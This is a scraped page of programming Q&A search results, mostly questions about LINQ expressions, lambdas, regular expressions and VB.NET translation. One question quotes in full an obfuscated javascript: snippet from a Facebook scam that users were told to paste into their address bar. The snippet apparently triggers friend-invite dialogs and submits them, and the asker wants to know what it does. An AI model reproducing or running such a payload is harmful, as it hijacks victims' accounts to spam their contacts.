Search Results

Search found 2819 results on 113 pages for 'conditional expressions'.

Page 30/113 | < Previous Page | 26 27 28 29 30 31 32 33 34 35 36 37  | Next Page >

  • LINQ To SQL Wildcards

    - by mcass20
    How can I build in wildcards to my LINQ To SQL lambda expression? This is what I have currently: var query = from log in context.Logs select log; foreach (string filter in CustomReport.ExtColsToFilter) { string tempFilter = filter; query = query.Where(Log => Log.FormattedMessage.Contains(tempFilter)); } This works fine up until I try and pass wildcards in the filter string. I'm experimenting with SqlMethods.Like() but to no avail. The filters above look like this: "<key>NID</key><value>mcass</value>". I'd like to be able to pass filters like this: "<key>NID</key><value>%m%</value>"

    Read the article

  • How do I get a value of a reference type in an Expression?

    - by Jon Kruger
    I have this method: public void DoSomething<T>(Expression<Func<T, object>> method) { } If this method is called like this: DoSomething(c => c.SomeMethod(new TestObject())); ... how do I get the value of the parameter that was passed into SomeMethod()? If the parameter is a value type, this works: var methodCall = (MethodCallExpression)method.Body; var parameterValue = ((ConstantExpression)methodCall.Arguments[0]).Value; However, when I pass in a reference type, methodCall.Arguments[0] is a MemberExpression, and I can't seem to figure out how to write code to get the value out of it.

    Read the article

  • parsing expression trees with booleans

    - by Schotime
    I am trying to parse an expression tree for a linq provider and running into a little snag with booleans. I can parse this no problems. var p = products.Where(x=>x.IsAvailable == true).ToList(); however when its written like this? var p = products.Where(x=>x.IsAvailable).ToList(); i only get a MemberAccess to look at and i can't see how i deduce that it is true or false (!x.IsAvailable). Any help would be great. Thanks.

    Read the article

  • Return nested alias for linq expression

    - by Schotime
    I have the following Linq Expression var tooDeep = shoppers .Where(x => x.Cart.CartSuppliers.First().Name == "Supplier1") .ToList(); I need to turn the name part into the following string. x.Cart.CartSuppliers.Name As part of this I turned the Expression into a string and then split on the . and removed the First() argument. However, when I get to CartSuppliers this returns a Suppliers[] array. Is there a way to get the single type from this. eg. I need to get a Supplier back. Thanks

    Read the article

  • How do I write this as an expression?

    - by itchi
    I'm trying to rewrite a linq to entities query to an expression. My model is a School can have many Persons where Persons are inherited out to teachers, students, etc. The following query works for me: IQueryable<DAL.TEACHER> teacher = from p in School select p.PERSON as ESBDAL.TEACHER; How would I write this as a query expression? I thought something like: IQueryable<DAL.TEACHER> teacher = School.Select(x=>x.PERSON) as IQueryable<DAL.TEACHER>; ...but it does not. Am I misunderstanding the .Select()?

    Read the article

  • Why won't binding to a child object property with rdlc Report work in vs2010?

    - by andrej351
    A while ago someone asked how to bind to a child object's property in a rdlc report. Question here. The solution was to use an expression like this: =Fields!ChildObject.Value.SomeProperty I have recently tried to upgrade to version 10 of the reporting libraries (Microsoft.ReportViewer.WebForms and Microsoft.ReportViewer.Common) and for some reason this does not work anymore. I have got the report rendering and displaying all data fine except any which uses this technique. Instead of the property value i get the text: "#Error" Why doesn't this work anymore? Anybody know how to to this in the new version?

    Read the article

  • PHP: using REGEX to get the tablename from a mysql query

    - by Matt
    Hi Guys, Consider these three mysql statements: select * from Users; select id, title, value from Blogs; select id, feelURL, feelTitle from Feeds where id = 1; Now im not very good at REGEX, but i want to get the table name from the mysql query. Could someone possibly create one for me with a little explanation. Thanks,

    Read the article

  • LINQ: Dot Notation vs Query Expression

    - by Martín Marconcini
    I am beginning to use LINQ in general (so far toXML and toSQL). I've seen that sometimes there are two or more ways to achieve the same results. Take this simple example, as far as I understand both return exactly the same thing: SomeDataContext dc = new SomeDataContext(); var queue = from q in dc.SomeTable where q.SomeDate <= DateTime.Now && q.Locked != true orderby (q.Priority, q.TimeCreated) select q; var queue2 = dc.SomeTable .Where( q => q.SomeDate <= DateTime.Now && q.Locked != true ) .OrderBy(q => q.Priority) .ThenBy(q => q.TimeCreated); Besides any mistake I may have made in the syntax or a missing parameter or difference, the idea is that there are two ways to express the same thing; I understand that the first method has some limitations and that the "dot notation" is more complete, but besides that, are there any other advantages?

    Read the article

  • Why doesn't this (translated) VB.NET code work?

    - by ropstah
    I had a piece of C# code converted, but the translated code isn't valid... Can somebody help out? C# <table> <% Html.Repeater<Hobby>("Hobbies", "row", "row-alt", (hobby, css) => { %> <tr class="<%= css %>"> <td><%= hobby.Title%></td> </tr> <% }); %> </table> VB <% Html.Repeater(of Jrc3.BLL.Product)(Model.ProductCollectionByPrcAutoKey, "row", "row-alt", Function(product, css) Do %> <tr class="<%= css %>"> <td><%= hobby.Title%></td> </tr> <% End Function)%>

    Read the article

  • php regular expression help finding multiple filenames only not full URL

    - by jason
    I am trying to fix a regular expression i have been using in php it finds all find filenames within a sentence / paragraph. The file names always look like this: /this-a-valid-page.php From help i have received on SOF my old pattern was modified to this which avoids full urls which is the issue i was having, but this pattern only finds one occurance at the begging of a string, nothing inside the string. /^\/(.*?).php/ I have a live example here: http://vzio.com/upload/reg_pattern.php

    Read the article

  • Use LINQ and lambdas to put string in proper case

    - by Tobias Funke
    I have this function called ProperCase that takes a string, then converts the first letter in each word to uppercase. So ProperCase("john smith") will return "John Smith". Here is the code: public string ProperCase(string input) { var retVal = string.Empty; var words = input.Split(' '); foreach (var word in words) { if (word.Length == 1) { retVal += word.ToUpper(); } else if (word.Length > 1) { retVal += word.Substring(0, 1).ToUpper() + word.Substring(1).ToLower(); } retVal += ' '; } if (retVal.Length > 0) { retVal = retVal.Substring(0, retVal.Length - 1); } return retVal; } This code workds perfectly, but I'm pretty sure I can do it more elegantly with LINQ and lambdas. Can some please show me how?

    Read the article

  • other way to add item to List<>

    - by netmajor
    In my other question You can see code of my arr structure and PriorityQueue collection. I normally add items to this collection like that: arr.PriorityQueue.Add(new element((value(item, endPoint) + value(startPoint, item)),item)); I am curious that is other way to do this (add element(which is struct) object to List) ? In lambda way for example ? I just eager for knowledge :)

    Read the article

  • Is it possible to define a generic lambda?

    - by Mike OBrien
    I have some logic in a method that operates on a specified type and I'd like to create a generic lambda that encapsulates the logic. This is the spirit of what I'm trying to do: public void DoSomething() { // ... Func<T> GetTypeName = () => T.GetType().Name; GetTypeName<string>(); GetTypeName<DateTime>(); GetTypeName<int>(); // ... } I know I can pass the type as a parameter or create a generic method but I'm interested if it can just be a generic lambda (So I'm not looking for alternatives). From what I can tell C# 3.0 doesn't support this. TIA, m

    Read the article

  • Access the value of a member expression

    - by Schotime
    If i have a product. var p = new Product { Price = 30 }; and i have the following linq query. var q = repo.Products().Where(x=>x.Price == p.Price).ToList() In an IQueryable provider, I get a MemberExpression back for the p.Price which contains a Constant Expression, however I can't seem to get the value "30" back from it. Cheers.

    Read the article

  • Can you use back references in the pattern part of a regular expression?

    - by Camsoft
    I there a way to back reference in the regular expression pattern? Example input string: Here is "quoted text" some quoted text. Say I want to pull out the quoted text, I could create the following expression: "([^"]+)" This regular expression would match quoted text. Say I want it to also support single quotes, I could change the expression to: ["']([^"']+)["'] But what if the input string has a mixture of quotes say Here is 'quoted text" some quoted text. I would not want the regex to match. Currently the regex in the second example would still match. What I would like to be able to do is if the first quote is a double quote then the closing quote must be a double. And if the start quote is single quote then the closing quote must be single. Can I use a back reference to achieve this?

    Read the article

  • What exactly dose this piece of JavaScript do ?

    - by helpmarnie
    ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. simply put, What dose this do? javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))} )();

    Read the article

  • LINQ: How to Use RemoveAll without using For loop with Array

    - by CrimsonX
    I currently have a log object I'd like to remove objects from, based on a LINQ query. I would like to remove all records in the log if the sum of the versions within a program are greater than 60. Currently I'm pretty confident that this'll work, but it seems kludgy: for (int index = 0; index < 4; index++) { Log.RemoveAll(log => (log.Program[index].Version[0].Value + log.Program[index].Version[1].Value + log.Program[index].Version[2].Value ) > 60); } The Program is an array of 4 values and version has an array of 3 values. Is there a more simple way to do this RemoveAll in LINQ without using the for loop? Thanks for any help in advance!

    Read the article

  • C# LINQ Where Predicate Type Arguments

    - by blu
    I have an XElement with values for mock data. I have an expression to query the xml: Expression<Func<XElement, bool>> simpleXmlFunction = b => int.Parse(b.Element("FooId").Value) == 12; used in: var simpleXml = xml.Elements("Foo").Where(simpleXmlFunction).First(); The design time error is: The type arguments for method 'System.Linq.Enumerable.Where(System.Collections.Generic.IEnumerable, System.Func)' cannot be inferred from the usage. Try specifying the type arguments explicitly' The delegate supplied to Where should take in an XElement and return a bool, marking if the item matches the query, I am not sure how to add anything more to the delegate or the where clause to mark the type. Also, the parallel method for the real function against the Entity Framework does not have this issue. What is not correct with the LINQ-to-XML version?

    Read the article

  • LINQ expression precedence with Skip(), Take() and OrderBy()

    - by Robert Koritnik
    I'm using LINQ to Entities and display paged results. But I'm having issues with the combination of Skip(), Take() and OrderBy() calls. Everything works fine, except that OrderBy() is assigned too late. It's executed after result set has been cut down by Skip() and Take(). So each page of results has items in order. But ordering is done on a page handful of data instead of ordering of the whole set and then limiting those records with Skip() and Take(). How do I set precedence with these statements? My example (simplified) var query = ctx.EntitySet.Where(/* filter */).OrderBy(/* expression */); int total = query.Count(); var result = query.Skip(n).Take(x).ToList();

    Read the article

  • LinqToXML why does my object go out of scope? Also should I be doing a group by?

    - by Kettenbach
    Hello All, I have an IEnumerable<someClass>. I need to transform it into XML. There is a property called 'ZoneId'. I need to write some XML based on this property, then I need some decendent elements that provide data relevant to the ZoneId. I know I need some type of grouping. Here's what I have attempted thus far without much success. **inventory is an IEnumerable<someClass>. So I query inventory for unique zones. This works ok. var zones = inventory.Select(c => new { ZoneID = c.ZoneId , ZoneName = c.ZoneName , Direction = c.Direction }).Distinct(); No I want to create xml based on zones and place. ***place is a property of 'someClass'. var xml = new XElement("MSG_StationInventoryList" , new XElement("StationInventory" , zones.Select(station => new XElement("station-id", station.ZoneID) , new XElement("station-name", station.ZoneName)))); This does not compile as "station" is out of scope when I try to add the "station-name" element. However is I remove the paren after 'ZoneId', station is in scope and I retreive the station-name. Only problem is the element is then a decendant of 'station-id'. This is not the desired output. They should be siblings. What am I doing wrong? Lastly after the "station-name" element, I will need another complex type which is a collection. Call it "places'. It will have child elements called "place". its data will come from the IEnumerable and I will only want "places" that have the "ZoneId" for the current zone. Can anyone point me in the right direction? Is it a mistake select distinct zones from the original IEnumerable? This object has all the data I need within it. I just need to make it heirarchical. Thanks for any pointers all. Cheers, Chris in San Diego

    Read the article

  • C# Joins/Where with Linq and Lambda

    - by David
    Hello, I'm having trouble with a query written in Linq and Lambda. So far, I'm getting allot of errors here's my code: int id = 1; var query = database.Posts.Join(database.Post_Metas, post => database.Posts.Where(x => x.ID == id), meta => database.Post_Metas.Where(x => x.Post_ID == id), (post, meta) => new { Post = post, Meta = meta }); I'm new to using Linq, so I'm not sure if this query is correct.

    Read the article

  • auto indent in vim string replacement new line?

    - by rxin
    I'm using the following command to auto replace some code (adding a new code segment after an existing segment) %s/my_pattern/\0, \r some_other_text_i_want_to_insert/ The problem is that with the \r, some_other_text_i_want_to_insert gets inserted right after the new line: mycode( some_random_text my_pattern ) would become mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is NOT indented ) instead of mycode( some_random_text my_pattern some_other_text_i_want_to_insert <--- this line is now indented ) i.e. the new inserted line is not indented. Is there any option in vim or trick that I can make the newly inserted line indented? Thanks.

    Read the article

  • linq expression in vb.net

    - by Thurein
    Hi, Can any body translate the following c# code to vb. I have tried telarik code converter but I got problem at expression.call and it won't compile at all. private static IOrderedQueryable<T> OrderingHelper<T>(IQueryable<T> source, string propertyName, bool descending, bool anotherLevel) { ParameterExpression param = Expression.Parameter(typeof(T), string.Empty); MemberExpression property = Expression.PropertyOrField(param, propertyName); LambdaExpression sort = Expression.Lambda(property, param); MethodCallExpression call = Expression.Call( typeof(Queryable), (!anotherLevel ? "OrderBy" : "ThenBy") + (descending ? "Descending" : string.Empty), new[] { typeof(T), property.Type }, // error line source.Expression, Expression.Quote(sort)); return (IOrderedQueryable<T>)source.Provider.CreateQuery<T>(call); } thanks Thurein

    Read the article

  • jQuery Ajax load images problem

    - by jackysee
    I have a code that would call $.load() to get an HTML fragment. In the fragment there will be a list of images and a script that would do some calculation based on the list size. The fragment looks like <div> <ul> <li><img .../></li> <li><img .../></li> ... </ul> </div> <script> //... script to do calculation on the list width </script> Originally, I use css's max-width to ensure that the image would not exceed 180px. But as IE has no max-width, I use the expression hack. However, it seems when the image are first load, the script cannot get a correct width of image list. Seems like the script load earlier than the CSS expression. If it is a new page, I can certainly call $(window).load() to ensure all the images are loaded. But what can I do in an ajax html fragment request?

    Read the article

< Previous Page | 26 27 28 29 30 31 32 33 34 35 36 37  | Next Page >